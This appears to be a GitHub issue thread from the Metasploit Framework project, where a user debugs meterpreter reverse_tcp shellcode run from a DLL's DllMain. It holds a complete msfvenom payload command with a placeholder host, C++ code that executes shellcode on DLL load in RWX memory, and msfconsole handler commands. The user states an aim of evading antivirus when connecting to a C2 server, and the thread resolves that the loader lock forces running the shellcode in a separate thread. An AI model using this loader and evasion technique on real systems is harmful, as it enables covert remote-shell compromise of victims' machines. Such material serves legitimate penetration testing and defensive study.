rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.06k stars 13.95k forks source link

Executing meterpreter shellcode from DllMain #16306

Closed kscieslinski closed 2 years ago

kscieslinski commented 2 years ago

Summary

Hi, is it expected thatmeterpreter fails to load second stage when executed directly from DllMain?

Steps to reproduce: 1) Generate shellcode

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -f c

and paste it into shellcode-runner.cpp

SHELLCODE = {<result of  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -f c>};
void execute_shellcode()
{
    void* shellcode = VirtualAlloc(0, sizeof(SHELLCODE), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(shellcode, SHELLCODE, sizeof(SHELLCODE));
    ((void(*)())shellcode)();
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
        execute_shellcode();

    return TRUE;
}

after compiling and executing, I can observe that the shellcode was successfully executed, but it failes to download the second stage:

$ msfconsole
msf6> use exploit/multi/handler
msf6> set payload windows/x64/meterpreter/reverse_tcp 
msf6> set LHOST 0.0.0.0
msf6> set LPORT 4444
msf6> run
[*] Started reverse TCP handler on 0.0.0.0:443 
[*] Sending stage (200262 bytes) to X.Y.Z.V
[-] Meterpreter session 1 is not valid and will be closed
timwr commented 2 years ago

I suspect the issue here is set LHOST 0.0.0.0, which will always fail to stage. Please try an actual IP, e.g: set LHOST X.X.X.X (use the same address that you gave to msfvenom).

kscieslinski commented 2 years ago

No, it's not the issue (but just in case I did tried to set specific interface in exploit/multi/handler). Note that the stage 2 get's loaded correctly when execute_shellcode is called from standard main function.

smcintyre-r7 commented 2 years ago

Wouldn't say that it's expected but it could happen for a number of reasons. The DLL not matching the architecture or AntiVirus blocking the payload both come to mind. It's possible but unlikely that the payload needs a library to be loaded that the host process doesn't already have. This would be slightly more likely if you were using the DLL in some kind of planting attack where if it were loaded before the requirements, you'd run into issues.

FWIW, Metasploit provides a DLL template to host payloads, but it doesn't execute the payload inline but rather uses the process hollowing technique to inject it into rundll32.

kscieslinski commented 2 years ago

The DLL not matching the architecture or AntiVirus blocking the payload both come to mind

It's not the case as I'm testing with both AV and firewall disabled. The dll is compiled for correct x64 architecture.

It's possible but unlikely that the payload needs a library to be loaded that the host process doesn't already have

Not sure if I understand, but I think that meterpreter resolves libraries dynamicaly anyway, so it shouldn't be a problem.

FWIW, Metasploit provides a DLL template to host payloads, but it doesn't execute the payload inline but rather uses the process hollowing technique to inject it into rundll32.

This is exactly why I've started playing with DllMain in the first place (I don't want to use rundll32 as AVs will trigger when it start to establish connection with c2).

kscieslinski commented 2 years ago

Ok, the problem was with Loader lock. The shellcode must be executed in separate thread.